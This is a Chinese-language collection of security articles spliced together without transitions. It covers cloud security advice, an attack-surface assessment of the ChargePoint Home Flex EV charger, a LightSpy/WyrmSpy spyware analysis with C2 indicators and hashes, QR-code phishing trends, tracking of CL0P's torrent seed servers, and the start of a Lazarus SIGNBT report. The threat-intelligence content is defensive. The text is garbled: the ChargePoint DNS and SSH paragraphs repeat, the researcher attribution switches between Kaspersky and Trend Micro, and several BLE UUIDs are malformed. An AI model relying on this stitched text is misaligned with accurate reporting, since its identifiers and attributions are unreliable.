5. 安全API 和訪問云開發人員應確保客戶端只能通過安全API 訪問應用程序。如果不加保護,API 可能會洩露敏感數據,為黑客提供對雲基礎設施的訪問權限,並導致DoS 攻擊。

常見的API保護措施包括:

使用Web 應用程序防火牆

限制允許的請求數量

審查和限制API 訪問權限

實施OAuth 2.0 進行身份驗證

加密API 響應

6.定期進行網絡安全審計安全審核可幫助雲應用程序開發人員檢測他們忽視的雲錯誤配置、漏洞和過時的數據保護機制,並改善其解決方案的整體網絡安全狀況。

作為一家面向網絡安全的開發公司,我們為客戶對基於雲的解決方案進行獨立審核。在審核過程中,我們特別關注:

身份驗證和訪問控制

雲存儲、計算端點、網絡和其他元素的配置

數據庫的狀態、應用的加密機制和備份過程

遵守適用於客戶解決方案的要求和法規

為了進行審核,我們使用基於CSP 推薦的最佳實踐以及我們在給定雲平台方面的經驗的清單。您可以檢查我們的審核AWS和Azure環境的清單。

審核後,我們向客戶提供有關檢測到的漏洞和改進可能性的詳細報告。我們還提供有關如何提高雲應用程序或服務安全性的建議。

7.收集日誌雲環境內所有活動的詳細日誌對於進行安全審計、調查事件、研究漏洞等至關重要。這就是為什麼任何基於雲的解決方案都應該能夠記錄盡可能多的有關其工作的信息。

記錄用戶和網絡活動、基礎設施元素的狀態和配置的變化以及雲內的數據流被認為是一種很好的做法。這些日誌在任何狀態下都應該加密。許多開發人員還添加了一個選項,將他們的解決方案與流行的SIEM 集成,並允許其安全地共享日誌。

結論云計算技術因其諸多優點而深受用戶歡迎。然而,雲技術也引入了漏洞,可能導致毀滅性且代價高昂的網絡攻擊。通過了解和保護雲計算技術的脆弱元素,開發人員可以更好地保護他們的產品免受不同類型的雲攻擊。

ChargePoint Home Flex是一款二級電動汽車充電站,專為終端用戶在家中使用而設計。該設備在其硬件中有一個最小的用戶界面,該設備採用移動應用程序進行安裝,並滿足消費者對設備的常規操作。

通常來講,該設備的攻擊面可以分為三類。

1.ChargePoint移動應用程序安裝人員在安裝ChargePoint Home Flex裝置時使用的ServicePro應用程序提供了一種攻擊途徑。

終端用戶在配置和使用ChargePoint Home Flex時使用的ChargePoint應用程序也提供了一個攻擊面。

2.ChargePoint Home Flex硬件該設備包括一個嵌入式Linux主機,通過Wi-Fi與互聯網上的主機進行通信,該單元還包含一個基於德州儀器MSP430微控制器的PCB。無線通信PCB基於Atmel CPU。最後,JTAG接口可以通過無線通信PCB訪問。

3.網絡攻擊面設備的軟件補丁是通過基於互聯網的空中傳送(OTA)更新提供的。移動應用程序用於本地通信的藍牙低能耗(BLE)終端可能會提供攻擊機會,與本地接入點的任何Wi-Fi通信都為攔截和操縱打開了機會。最後,該設備實現了開放式充電樁協議(OCPP)。該協議中的任何漏洞都將在充電器中暴露出來。

安全性研究卡巴斯基實驗室的研究員Dmitry Skylar對ChargePoint Home Flex進行了安全評估。

ChargePoint Home Flex移動應用程序ChargePoint提供兩種應用程序,可與Home Flex充電器一起使用,這兩個應用程序都通過藍牙低能耗(BLE)與ChargePoint Home Flex進行交互。

ChargePoint ServicePro應用程序會在終端用戶安裝設備時使用。此應用程序是使用React Native應用程序開發框架編寫的。這是一個基於JavaScript的開發框架,用於跨平台移動應用程序開發。

以消費者為中心的ChargePoint移動應用程序旨在供最終用戶使用,以管理他們的充電偏好。

雖然我們沒有徹底調查這些應用程序的漏洞或其他漏洞,但移動應用程序中的漏洞是一個重要的攻擊表面。

ChargePoint Home Flex藍牙低能耗ChargePoint Home Flex使用藍牙低能耗與移動應用程序進行通信。趨勢科技的研究人員使用自定義BLE掃描工具找到了充電器提供的終端。

BLE規範中定義了以下服務:

1.BLE服務設備信息:

1.1系統ID;

1.2 型號字符串:CPH50;

1.3序列號字符串;

1.4 程序修訂字符串:5.5.2.5;

研究人員在掃描被測設備(DUT)時觀察到以下BLE服務和功能:

2.設備詳細信息服務:274BC3A3-1A52-4D30-99C0-4DE08FFF2358:

Get/Set PowerSourceType:8D4D6AF5-E562-DC7-85AD-842FBF321C87特點;

Get/Set PowerSourceAmps:F24F7C35-A5FD-4B98-BCA5-50BB5DC8E7CD特點;

Get/Set Apply Settings Status:5597DD46-7EDD-40CC-9904-B693DC05E19特點;

Get/Set UserId:E79C86D4-8106-4908-B602-5B61266B2116特點;

Get/Set Latitude:85F296FC-3152-4EF0-84CB-FAB8D05432E4特點;

Get/Set Longitude:9253A155-701A-4582-A0CF-5E517E553586特點;

Get/Set NOSStatus:C31D51E5-BD61-4D09-95E2-C0E34ED1224C特點;

Get/Set Power Source:C1972E92-0D07-4464-B312-E60BA5F284FC特點;

3.無線上網服務DFAF46E7-04F9-471C-8438-A72612619BE9

Get/Set NextWIFIAccessPoint:E5DEB4B-4DAC-4609-A533-B628E5797E91特點;

Get/Set CurrentSSID:EB61F605-DED9-4975-9235-0A5F4941F32特點;

Get/Set WIFISecurityType:733ED10A-CD1B-43CA-A0C2-6864C8DCF7C1特點;

Get/Set WiFi Configuration:25A03F00-1AF2-44F0-80F2-D6F771458BB9特點;

Get/Set ApplyStatusCode:3BE83845-93E461E-8A49-737F790EBC4特點;

Get/Set Always Empty Response Characteristic:CED647D7-E261-41E2-8F0D-35C360AAE269特點;

3.未知服務B67CB923-50E4-41E8-BECC-9ACD24776887:Get/Set Always NULL Byte Characteristic,7AC61302-58AB-47BA-B8AA-0094DB0B9A1特點;

趨勢科技的研究人員使用自定義的BLE掃描儀對這些BLE終端進行了有限的探測。此外,趨勢科技的研究人員對最終用戶ChargePoint應用程序進行了逆向工程。上表中確定的名稱是根據對Android應用程序代碼的理解推斷出來的。

ChargePoint Home Flex硬件詳細信息ChargePoint Home Flex包括位於設備shell內的兩塊電路板,分別是計量板和CPU板。

計量板包含一個MSP430微控制器。它終止了與電源的電源連接,還終止了最終用戶連接到電動汽車的充電電纜。計量板還通過堆疊在計量板右上方的PCB連接器為CPU板供電。計量板在PCB絲網標記上標記有Panda AC 50標識符,它擁有一個MSP430微控制器。

CPU板承載ATMEL Arm CPU、Wi-Fi無線電和藍牙LE無線電,CPU板在PCB絲網標記上標記為CPH-50 CPU。

以下是一些詳細介紹ChargePoint家用Flex計量板和CPU板的圖片:

1.png

CPH-50 CPU板正面

2.png

CPH-50 CPU板背面

3.png

ChargePoint Home Flex計量板正面

4.png

ChargePoint Home Flex計量板背面

ChargePoint Home Flex嵌入式Linux卡巴斯基實驗室先前的研究表明,該充電器使用Linux操作系統。充電器硬件有一個確定為“Panda CPU”板,它實現了充電器上所有可訪問的攻擊面。硬件包括一個ARM CPU,該設備提供一個JTAG調試接頭。先前的研究表明,這種JTAG接頭可以用來獲得shell對充電器的訪問權限。

在對充電器的初步評估中,趨勢科技的研究人員使用了一個捕獲測試網絡來詢問ChargePoint Home Flex。測試網絡有一個運行的Wi-Fi接入點,該接入點連接到運行一組服務的網絡,該服務被配置為模擬充電器所需的服務。該網絡具有一個DNS服務器,該網絡有一個DNS服務器,它被配置為使用測試網絡中的IP地址響應所有DNS A-record查詢。

在測試過程中,研究人員觀察了DUT進行的DNS查詢,並用其試圖連接的所有觀察到的主機名配置了DNS服務器。此外,測試網絡還包括一個web服務器,該服務器被配置為響應DUT提出的網絡請求。 DUT已向以下域發出DNS請求:ba79k2rx5jru.chargepoint.com;

homecharger.chargepoint.com;

publish.chargepoint.com;

研究人員指出,由於TLS證書頒發機構不匹配,向web服務器發起的TLS連接無法建立。強制執行TLS證書頒發機構匹配是一種安全優勢。

ChargePoint Home Flex通過SSH連接到TCP端口343上的服務器ba79k2rx5jru.ChargePoint.com。該研究網絡包括一個允許對任何用戶進行身份驗證的SSH服務器。當充電器啟動與測試網絡中允許的SSH服務器的連接時,研究人員注意到DUT的SSH客戶端啟動了從SSH服務器轉發到充電器上的TCP端口23的TCP端口。這與卡巴斯基研究報告中提到的結果相吻合。

ba79k2rx5jru.chargepoint.com

homecharger.chargepoint.com

publish.chargepoint.com

研究人員指出,由於TLS證書頒發機構不匹配,向web服務器發起的TLS連接無法建立。強制執行TLS證書頒發機構匹配是一種安全優勢。

ChargePoint Home Flex在TCP端口343上通過SSH連接到服務器ba79k2rx5jru.chargepoint.com。研究網絡包括一個允許對任何用戶進行身份驗證的授權SSH服務器。當充電器啟動連接到測試網絡中的許可SSH服務器時,研究人員注意到來自DUT的SSH客戶端啟動了一個TCP端口,從SSH服務器返回到充電器上的TCP端口23,這與卡巴斯基研究報告中提到的結果相符。

總結雖然這些可能不是ChargePoint Home Flex設備上唯一可用的攻擊面,但它們代表了攻擊者可能用來利用該設備的最可能途徑。

針對香港iOS用戶進行水坑攻擊的LightSpy惡意軟件,近日被發現嵌入在來自20台活躍服務器的安卓植入體Core(核心)及其14個相關插件當中,用於攻擊移動用戶。

LightSpy是一種移動高級持續性威脅(mAPT),它使用新穎的複雜技術來攻擊移動用戶。其中,這個惡意軟件已被證實出自黑客組織APT41之手。

最近的報告表明,該惡意軟件一直在使用微信支付系統訪問支付數據、監控私密通信,並執行各種惡意活動。

LightSpy APT攻擊微信用戶據多起報告顯示,LightSpy惡意軟件是一套功能齊全的模塊化監視工具集,被發現使用各種插件來洩露並竊取私密數據和支付數據。此外,該惡意軟件強烈關注受害者的私密信息。

其功能包括:利用後端基礎設施從微信支付中洩露支付數據,並從微信獲取音頻相關功能,以記錄受害者的VOIP對話內容。

然而,該惡意軟件不能作為一個獨立的應用程序來運行,因為它也是一個插件,該惡意軟件的核心負責執行整條攻擊鏈所需的所有功能。

核心功能包括設備指紋收集、控制服務器連接建立、從服務器檢索命令以及更新自身和額外的攻擊載荷文件(又叫作插件)。

LightSpy的14個插件該惡意軟件已添加了多個插件,包括soft list(軟列表)、baseinfo(基礎信息)、bill(賬單)、cameramodule(攝像頭模塊)、chatfile(聊天文件)、filemanager(文件管理器)、locationmodule(位置模塊)、locationBaidu(位置百度)、qq、shell、soundrecord(錄音)、telegram、wechat(微信)和wifi。

12112.jpg

信息來源: ThreatFabric

正如報告中提到,最重要的插件之一是位置模塊插件,它負責位置跟踪,可以發送當前位置的快照,也可以設置指定時間間隔的位置跟踪。這個插件基於兩個位置跟踪框架:騰訊位置SDK和百度位置SDK。

另一個重要的插件是Soundrecord(錄音)插件,它負責錄製音頻。這個插件還可以立即或在指定的時間間隔開始麥克風錄音。此外,這個插件還可以記錄來電通話內容。

Bill(賬單)插件是另一個重要的插件,它負責從微信支付收集受害者的支付歷史信息,這包括上一筆賬單的ID、賬單類型、交易ID、日期以及已支付處理的標誌。

22222.jpg

iOS命令和安卓命令之間的關係(來源:ThreatFabric)

基礎設施LightSpy基礎設施包含幾十個服務器,分佈在中國大陸、中國香港、中國台灣、新加坡和俄羅斯,由於一些服務器返回不同的命令和載荷,可以推測攻擊者為每次活動使用不同的IP地址或域。與此同時,由於一些服務器返回載荷(應該是在2018年編譯的),可以假設攻擊者可以在幾個攻擊活動中重複使用同一套基礎設施。另一個關於長壽命服務器的假設是,安全行業人士常常不會發現/披露這些服務器,因此不需要更改IP地址。

在分析LightSpy基礎設施時,我們發現了兩個值得注意的時刻:

LightSpy與AndroidControl(WyrmSpy)的聯繫

我們獲取了硬編碼到核心中的IP地址,與Lookout報告中披露的IP地址是同一個。

1.png

圖1

結果是35900端口已關閉,主機沒有響應LightSpy請求。同時,有幾個開放的端口提供https服務。

端口11090對應的https服務器使用過期證書加以保護,SHA256指紋為f0fc2c418e012e034a170964c0d68fee2c0efe424a90b0f4c4cd5e13d1e36824,還有另外兩台主機使用相同的服務和相同的證書。兩台主機都打開了端口443,服務於一個名為AndroidControl v1.0.4的管理面板。

2.png

圖2

有第三台主機具有相同的收藏夾圖標(MD5散列542974b44d9c9797bcbc9d9218d9aee5),它託管相同的面板。這個主機上的面板錯誤配置,暴露了應該用於前後端之間通信的後端端點:

3.png

圖3

第一個值得關注的點是“控制”端點,這種端點位於Lookout報告的WyrmSpy樣本中。

為了確認這三個主機與WyrmSpy有關,我們做了一個簡單的請求雙“控制”端點,看到了相同的結果:

4.png

圖4

在WyrmSpy的代碼中,我們可以看到它等待對含有字段“suc”的請求進行響應:

5.png

圖5

因此,這三個主機都是WyrmSpy的活躍C2,或者正如攻擊者所命名的AndroidControl或androidRat。

由於面板在處於調試模式的Django中,它暴露了一些內部信息,比如一個內部文件夾(整個前端和後端文件存儲在服務器中),以及另一個IP地址47.115.7[.]112:

6.png

圖6

LightSpy面板其中一台C2服務53601端口,該服務含有Admin面板:

7.png

圖7

面板在VUEJS中,除了面板結構外,我們在底層沒有發現任何值得注意的痕跡。 VUEJS節點的功能仍然不清楚。

8.png

圖8

一篇關於LightSpy的完整報告已經由ThreatFabric發布(詳見https://www.threatfabric.com/blogs/lightspy-mapt-mobile-payment-system-attack),提供了有關威脅途徑、源代碼、分析及其他信息的詳細信息。

攻陷指標控制服務器:域

spaceskd[.]com

IP

103.27.108[.]207

46.17.43[.]74

文件哈希:第二階段載荷(smallmload .jar)

SHA256

407abddf78d0b802dd0b8e733aee3eb2a51f7ae116ae9428d554313f12108a4c

bd6ec04d41a5da66d23533e586c939eece483e9b105bd378053e6073df50ba99

核心SHA256

版本

68252b005bbd70e30f3bb4ca816ed09b87778b5ba1207de0abe41c24ce644541

6.5.24

5f93a19988cd87775ad0822a35da98d1abcc36142fd63f140d488b30045bdc00

6.5.24

bdcc5fc529e12ecb465088b0a975bd3a97c29791b4e55ee3023fa4f6db1669dc

6.5.25

9da5c381c28e0b2c0c0ff9a6ffcd9208f060537c3b6c1a086abe2903e85f6fdd

6.2.1

a01896bf0c39189bdb24f64a50a9c608039a50b068a41ebf2d49868cc709cdd3

6.5.19

77f0fc4271b1b9a42cd6949d3a6060d912b6b53266e9af96581a2e78d7beb87b

6.2.0

d640ad3e0a224536e58d771fe907a37be1a90ad26bf0dc77d7df86d7a6f7ca0e

6.2.1

3849adc161d699edaca161d5b6335dfb7e5005056679907618d5e74b9f78792f

6.2.6

2282c6caef2dd5accc1166615684ef2345cf7615fe27bea97944445ac48d5ce4

5.2.1

插件插件名稱

SHA256

softlist

7d17cdc012f3c2067330fb200811a7a300359c2ad89cdcf1092491fbf5a5a112

baseinfo

cc6a95d3e01312ca57304dc8cd966d461ef3195aab30c325bee8e5b39b78ae89

bill

c6ccd599c6122b894839e12d080062de0fa59c4cd854b255e088d22e11433ef6

cameramodule

bace120bf24d8c6cfbb2c8bfeed1365112297740e2a71a02ea2877f5ffc6b325

chatfile

7d8a08af719f87425d1643d59979d4a3ef86a5fc81d1f06cfa2fd8c18aeb766b

filemanager

e5bdeedac2c5a3e53c1fdc07d652c5d7c9b346bcf86fc7184c88603ff2180546

locationmodule

bf338e548c26f3001f8ad2739e2978586f757777f902e5c4ab471467fd6d1c04

locationBaidu

177e52c37a4ff83cd2e5a24ff87870b3e82911436a33290135f49356b8ee0eb1

qq

f32fa0db00388ce4fed4e829b17e0b06ae63dc0d0fac3f457b0f4915608ac3b5

shell

e1152fe2c3f4573f9b27ca6da4c72ee84029b437747ef3091faa5a4a4b9296be

soundrecord

c0c7b902a30e5a3a788f3ba85217250735aaaf125a152a32ee603469e2dfb39e

telegram

71d676480ec51c7e09d9c0f2accb1bdce34e16e929625c2c8a0483b9629a1486

wechat

bcb31d308ba9d6a8dbaf8b538cee4085d3ef37c5cb19bf7e7bed3728cb132ec1

wifi

446506fa7f7dc66568af4ab03e273ff25ee1dc59d0440086c1075d030fe72b11

sl-abstract-phishing-hook-mail-accounts-under-water-1200x600.jpg

二維碼無處不在,你可以在海報和傳單、ATM屏幕、價籤和商品甚至建築物上看到它們,人們用它們來分享信息,推廣各種在線資源,然而,你卻很少在電子郵件中看到二維碼。用戶無需掃描即可在手機上直接閱讀信息,因為大多數信件都帶有普通的超鏈接,但攻擊者正越來越多地通過電子郵件發送的二維碼來實施攻擊。

與易於檢查和屏蔽的釣魚鏈接不同,二維碼是安全解決方案中令人頭疼的問題。分析二維碼並找出其中包含的信息,需要昂貴且資源豐富的計算機視覺技術。更糟糕的是,雖然一個普通的鏈接只需看一眼就可以整理出來,但使用二維碼,在掃描之前,你無法判斷它會把你重定向到哪裡。

二維碼也稱快速響應碼,是一種二維矩陣條形碼,由幾個正方形和多個點(模塊)組成,排列在白色背景上的正方形圖案中,可以使用圖像處理設備來掃描QR碼。它將首先通過正方形識別代碼的位置,然後讀取點中編碼的信息,除了實際的代碼外,方形區域還可以容納裝飾元素,例如公司徽標。

二維碼比1D條形碼能夠編碼更多的數據,它們通常用於編碼指向各種資源的超鏈接,例如商店目錄、結賬頁面或建築信息頁面。

電子郵件中的惡意二維碼攻擊者使用二維碼對網絡釣魚和詐騙頁面的鏈接進行編碼,研究人員在2021年底註冊了第一次使用該技巧進行惡意電子郵件活動的嘗試。這些都是模仿聯邦快遞(FedEx)和DHL等快遞服務公司電子郵件的詐騙信息,受害者會被誘騙通過掃描二維碼支付關稅,編碼的鏈接正在重定向到一個偽造的銀行卡數據輸入頁面。這場活動的規模不大,並到2022年年中有所減少。研究人員在2023年春季觀察到的以二維碼為特色的新電子郵件活動,與第一次不同的是,這次是針對微軟產品企業用戶的登錄名和密碼。

攻擊者向受害者發送信息,告知他們的公司電子郵件帳戶密碼即將過期,為了保留對賬戶的訪問權限,用戶需要掃描二維碼。一些電子郵件將來自免費郵件地址,另一些則來自最近註冊的域名,在一些信息中,攻擊者在二維碼中添加了微軟安全標誌,以提高可信度。

1.jpg

帶有二維碼的釣魚郵件

在收到釣魚郵件並掃描代碼後,用戶將被重定向到一個類似微軟登錄頁面的虛假登錄頁面,只要輸入登錄名和密碼,攻擊者就可以訪問該帳戶。

2.jpeg

除了敦促用戶更改密碼或更新個人數據的消息外,我們還檢測到一個未發送的電子郵件通知活動,該活動還使用二維碼重定向到虛假的微軟帳戶登錄頁面。

以下截圖所示的信件沒有二維碼標誌,但帶有“此郵件來自可信來源”的字樣,讓用戶放鬆警惕。

3.jpg

未發送的郵件通知

掃描二維碼時看到的一些頁面位於IPFS資源中,攻擊者會用這種分佈式文件系統發起攻擊。 IPFS是一種點對點的網絡協議,旨在創建持久且分佈式存儲和共享文件的網絡傳輸協議,IPFS網絡釣魚活動與傳統網絡釣魚活動類似,攻擊者模仿合法服務和軟件(如DHL、DocuSign和Adobe)來增加進入目標收件箱的可能性。

4.jpeg

統計數據

從2023年6月到8月,研究人員檢測到8878封包含二維碼的網絡釣魚郵件,惡意活動在6月份達到頂峰,有5063封信,到8月份減少到762封信。

5.png

2023年6月至8月帶有二維碼的釣魚電子郵件數量趨勢

總結攻擊者可以通過多種方式使用二維碼。首先,這些代碼使他們能夠避免安全措施檢測和屏蔽他們的電子郵件,查看二維碼內容並不容易,而且消息中沒有釣魚鏈接;此外,一封信不能僅僅因為裡面有二維碼就被屏蔽,儘管二維碼不是一個流行的電子郵件元素,但二維碼也可以用於合法的通信,例如發件人的自動簽名;其次,由於消息中不包含鏈接,因此無需註冊額外的帳戶或域來重定向用戶,從而隱藏網絡釣魚;最後,大多數用戶使用智能手機攝像頭掃描二維碼,並希望盡快解決問題。因此,他們可能會忽略重定向到的頁面的地址行,因為它在移動瀏覽器中不太顯眼。

另一方面,合法發件人幾乎從不在郵件中使用二維碼,因此僅僅在電子郵件中出現二維碼就可能引發懷疑;此外,掃描二維碼需要另一個設備,而用戶可能沒有現成的設備。目前研究人員還沒有觀察到許多基於二維碼的攻擊活動,他們只能假設實際掃描代碼的收件人不多。儘管如此,考慮到該機制的使用情況,預計這種攻擊在短期內會增加,且活動本身也會變得更加複雜,並針對特定目標進行調整。

解決辦法CL0P組織利用Seed傳輸竊取的敏感數據(上)

如上所述,速度是至關重要的。加入torrent的時間窗口很短,每過一秒,找到原始播種者的可能性就會減少。為了解決這個問題,就需要不斷地監控他們的洩漏網站,以獲得新的公告,然後使用磁力鏈接開始節點過程。

一旦連接到torrent,研究人員就可以坐在群裡監視對等點,直到研究人員找到第一個顯示100%完成狀態的人。此時,信息被記錄後將自己從群中刪除。

出於講解需要,研究人員把所有受害組織的名字都改成了Pokémon。

當連接到torrent時,就會輸出。

7.png

該輸出應包括以下內容:

所連接對等點的IP地址;

對等點狀態標誌;

完成百分比;

上傳/下載速度;

Torrent客戶端;

8.1.png

8.2.png

8.3.png

映射對等點以及Pokémon

在將這些數據點連接起來之後,你最終得到的是一個連接網絡,研究人員可以將其可視化,以便更好地進行分析。

9.png

節點映射

上圖關注了三個不同的數據點:

對等點地址;

受害者;

使用中觀察到的客戶端;

研究人員根據對等點在記錄日誌時所觀察到的數據量連接每個端,然後,研究人員用顏色對鏈接進行編碼,如下圖所示,這樣100%的鏈接就會突出。

這允許快速檢查以識別地址,地址分為三類:

經確認的原始播種機;

潛在的原始播種機;

非原始文件(non-original)播種機;

再來看一看Charmander,你會注意到兩條灰色的線指向它,這些都是低於100%的鏈接,研究人員把所有100%的鏈接都編碼為紅色,藍色鏈接將對等點連接到其觀察到的客戶端字符串。如下圖所示:

10.png

CharmanderPeering

Peering在兩個ISP之間交換路由通告,以確保來自第一個ISP的業務能夠到達第二個ISP的客戶,反之亦然。對等操作主要在IXP進行,通常是免費提供或遵照雙方商定的商務協議提供。

在添加每個主機的過程中,當研究人員從受害者切換到對等點時,模式開始出現。

如果一個主機有100%的鏈接,但數量很低,比如只有2-4個,那麼研究人員認為他們是一個潛在的torrent。如果一個主機有100%的鏈接,但數量很多,那麼研究人員認為他們只是一個潛在的原始torrent。任何有低於100%鏈接的主機,研究人員都認為它們是非原始文件種子。

回到以前的IP地址81.19.135[.]21(如下圖所示),研究人員可以看到一個極似原始播種機的樣子。

11.png

原始播種機

極有可能的原始seed不僅具有100%seed的高容量,而且是許多受害者唯一登錄的對等點,此外,對等點數據集之間開始出現模式。例如,研究人員認為大多數原始種子主機都使用Transmission 3.00客戶端字符串,進一步將它們的活動綁定在一起;而一個擁有相對唯一的客戶端字符串的主機(如下圖中的主機)卻很少被發現。這讓研究人員更傾向於將它們作為一個實體,只是出於其他原因下載所有數據,並且它們已經完成了下載。

12.png

不太可能是原始播種機

所有這一切都是說,這些數據點讓研究人員能夠迅速過濾和淘汰不那麼有趣的對等點,這樣研究人員就可以把注意力集中在重要的點上。

下圖中所示的這個人甚至在每個torrent文件中更改他們的客戶端字符串。這更加證明了他們不是原始播種者,儘管在研究人員觀察他們的時候,他們已經播種了很多數據。

13.png

Nonoriginal播種機

通過查看數據並應用上述邏輯,研究人員能夠克服上述一些問題,即在發布torrent文件後研究人員才開始收集數據。

總的來說,研究人員能夠在這個數據集中識別出五個研究人員認為很有可能是原始播種者的主機,以及兩個可能成為未來播種者的主機。這有必要進行更深入的研究。

Seed Group 1有一種模式幾乎立刻就凸顯出來,那就是三個IP地址似乎在同一個網絡上。

81.19.135[.]21

81.19.135[.]25

81.19.135[.]31

這三個IP地址都存在於FlyServers(一家VPS託管公司)擁有的AS 209588的同一個子網中。 IP位於俄羅斯莫斯科。每一個都表現出有趣的特徵,這些特徵進一步將它們聯繫在一起,有力地證明了它們是由攻擊者控制的。

例如,請注意下圖所示的模式,因為它與前兩個IP地址的SSH可用性和FTP可用性有關:

14.png

81.19.135[.]21服務掃描

15.png

81.19.135[.]25服務掃描

對於以21結尾的IP, SSH端口在2023年8月6日停止響應,FTP端口在2023年8月7日開始響應。對於以25結尾的IP,研究人員看到SSH在2023年8月6日停止,FTP在同一天打開。

同樣,對於下圖中以31結尾的IP,雖然研究人員沒有SSH可見性,但研究人員可以看到FTP也在8月6日打開。

16.png

81.19.135[.]31服務掃描

服務器運行的是vsFTPd 3.0.3和OpenSSH_8.4p1。在TCP/8423上以25結尾的IP的簡短可見性表明,它已轉換為在非標準端口上運行SSH。

為了確認播種服務器是不同的實體,而不是某種負載平衡服務背後的同一個盒子,研究人員查看了vsFTPd使用的TLS證書,它們都是自簽名的:

81.19.135[.]21=44102.example.ru,有效期為2023年8月6日22:49:51 GMT-0400;81.19.135[.]25=14868.example.ru,有效期為2023年8月5日23:48:55 GMT-0400;81.19.135[.]31=33916.example.ru,有效期為2023年8月5日23:48:08 GMT-0400;

其中包括了證書的起始日期,如上所述,彼此相距大約一個小時。這意味著,CL0P在他們計劃發布第一個磁力鏈接的大約10天前,在他們公開宣布打算轉向這種傳播方式的5天前,就對這些盒子進行了預處理。

使用這些模式,研究人員擴展了對在Common Name (CN)值中包含example.ru的證書的搜索,這些證書被觀察到具有FTP。研究人員確定了同一子網上的另一台主機(如下圖所示),它具有類似的功能,但尚未顯示在對等點信息中。

17.png

更寬的網絡識別以11結尾的新主機

你可以看到相同的行為,SSH端口在2023年8月6日失去可見性,FTP端口在2023年8月7日變為活動,這與研究人員觀察到的其他情況一致。

81.19.135[.]11=43577.example.ru,有效期為2023年8月6日23:03:31 GMT-0400

在這台主機上還值得注意的是兩個月前Windows服務的出現,如下圖所示。這意味著VPS在該時間範圍內從Windows重新調整為基於*nix的設備。

18.png

81.19.135[.]11服務掃描

為了有效地託管竊取的數據,需要進行大量的協調。可能以11結尾的IP地址正準備託管更多的受害文件。

以25和31結尾的兩個IP地址的受害者是在8月15日或幾天后公佈的。而從8月24日開始,以21結尾的IP地址開始在受害者公告中使用,其觀察到的受害者數量幾乎是其他IP地址的四倍。這可能只是研究人員觀察它們的結果,但也可能意味著這個盒子有些不同。

Seed Group 2另一個突出的IP也被Gary Warner在LinkedIn上提到,他正在尋找關於CL0P seed的相同類型的信息。

在Cl0p決定沒有人能夠通過.onion服務器下載他們被盜的數據後,他們遷移到使用bitTorrent。

當然,使用bitTorrent的問題是,攻擊者託管被盜數據的位置變得非常明顯。如果一個人訪問TORRENT,並且只有一個IP地址提供100%的數據,對於更大的數據集,那麼幾乎可以肯定,這就是攻擊者為提供文件而獲得的主機。但對於微小的數據集來說,情況並非如此,對於這些數據集,攻擊者可以在很短的時間內等待其他人獲得100%的文件,然後斷開他們的原始位置。

目前,“100%”數據集的主要位置是:

95.215.0[.]76=AS34665 Petersburg Internet, St. Petersburg Russia,這是

在pindc[.]ru上託管的公司招聘信息。

此IP地址為95.215.0[.]76,如下圖所示,與以前的數據集有一些相似之處。具體來說,使用了字符串Transmission 3.00的BitTorrent客戶端,託管提供商是另一家俄羅斯公司。

19.png

另一個已確認的原始種子服務器

果不其然,這個播種服務器(如下圖所示)表現出與其他數據集類似的行為,因為它也與服務相關。然而,這個活動比另一個數據集早一個月發生,SSH服務一直持續到7月17日,FTP服務從7月18日開始出現。

20.png

95.215.0[.]76服務掃描

這可能是一個較舊的盒子,它還使用一組不同的服務來託管FTP,並進一步利用ProFTPD。同樣,VPS託管在俄羅斯聖彼得堡,並由AS 34665宣布用於彼得堡互聯網(PIN)數據中心。

此IP與IP地址95.215.1[.]221共享下面的SSH密鑰。

ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNos5CNsQHUKlXJSFDJKtPB/4FlkqW6R0crEQaONn3TJ2TICxQRUTh8DgITlLcidJf0pnn0zVMWwE6PsWDI3eZU=

雖然研究人員目前還沒有觀察到這個IP地址,但還不知道這是由於可見性問題還是該盒子尚未用於託管原因造成的,它確實與SSH和FTP共享相同的顯著行為。如下圖所示:

21.png

95.215.1[.]221服務掃描

Seed Group 3將這些模式應用到研究人員收集的其他對等體上,下圖中顯示了IP地址92.118.36[.]111。

22.png

獨立seed主機

在該樣本中,研究人員只觀察到它以100%的速度為Articuno播種了一個torrent,它位於阿姆斯特丹,由StreamHost的AS 209132宣布。

這個torrent的一致之處在於,它使用Transmission 3.00客戶端字符串,並且從8月9日開始具有類似的FTP訪問權限。如下圖所示:

23.png

92.118.36[.]111服務掃描

最後要說明的一點是,在搜索這個IP地址時,研究人員偶然發現了一個以112結尾的下一個IP的AbuseIPDB報告,如下圖所示:它在2023年6月初顯示了一份針對MOVEit漏洞的地址掃描報告,該漏洞是CL0P用來竊取所有這些數據的漏洞。

24.png

AbuseIPDB關於92.118.36[.]112的報告

這兩者之間是否有關聯尚不清楚,但如果沒有關聯,這將是一個有趣的巧合。

總結在本文所講解的樣本中,俄羅斯的幾個託管服務器保存了大量被盜受害者的數據。

根據分析,這些攻擊者很可能利用FTP將被盜文件傳輸到種子盒。另外,在FTP服務啟動之前,SSH訪問的一般可見性會立即關閉,這可能意味著很多事情,但最重要的是,在宣布磁力鏈接之前,他們可能會在服務器上預留被盜數據相當長的一段時間。

同樣,受害者數據在seed盒中的分佈也與他們的公告時間表不一致。這說明在torrent產生之前,數據已經在盒子上保存了一段時間,這可能是他們用來避免seed追踪的一種技術,方法是同時宣布不同的受害者,但從不同的盒子裡播種。

sl-abstract-malicious-binary-code-1200-1200x600.jpg今年上半年,一家軟件供應商受到了Lazarus惡意軟件的攻擊,該惡意軟件是通過未打補丁的正版軟件傳播的。值得注意的是,這些軟件漏洞並不是新的,儘管供應商發出了警告和補丁,但許多供應商的系統仍繼續使用有漏洞的軟件,允許攻擊者利用它們。幸運的是,研究人員的主動響應發現了對另一個供應商的攻擊,並有效地挫敗了攻擊者的努力。

經過進一步調查,研究人員發現開發被利用軟件的軟件供應商之前曾多次成為Lazarus的受害者。這種反復出現的漏洞表明,一個持久的攻擊者的目標可能是竊取有價值的源代碼或篡改軟件供應鏈,他們繼續利用公司軟件中的漏洞,同時瞄准其他軟件製造商。

1.png

攻擊時間

攻擊者表現出了高度的複雜性,採用了先進的逃避技術,並引入了SIGNBT惡意軟件來控制受害者。此外,在內存中發現的其他惡意軟件包括Lazarus著名的LPEClient,這是一種以受害者分析和有效負載傳播而聞名的工具,此前曾在針對國防承包商和加密貨幣行業的攻擊中被觀察到。

執行情況如下:

1.一個軟件供應商通過利用另一個備受矚目的軟件而受到威脅。

2.這次攻擊中使用的SIGNBT惡意軟件採用了多種攻擊鍊和複雜的技術。

3.在這次攻擊中使用的LPEClient被觀察到執行一系列與Lazarus組織相關的目標攻擊。

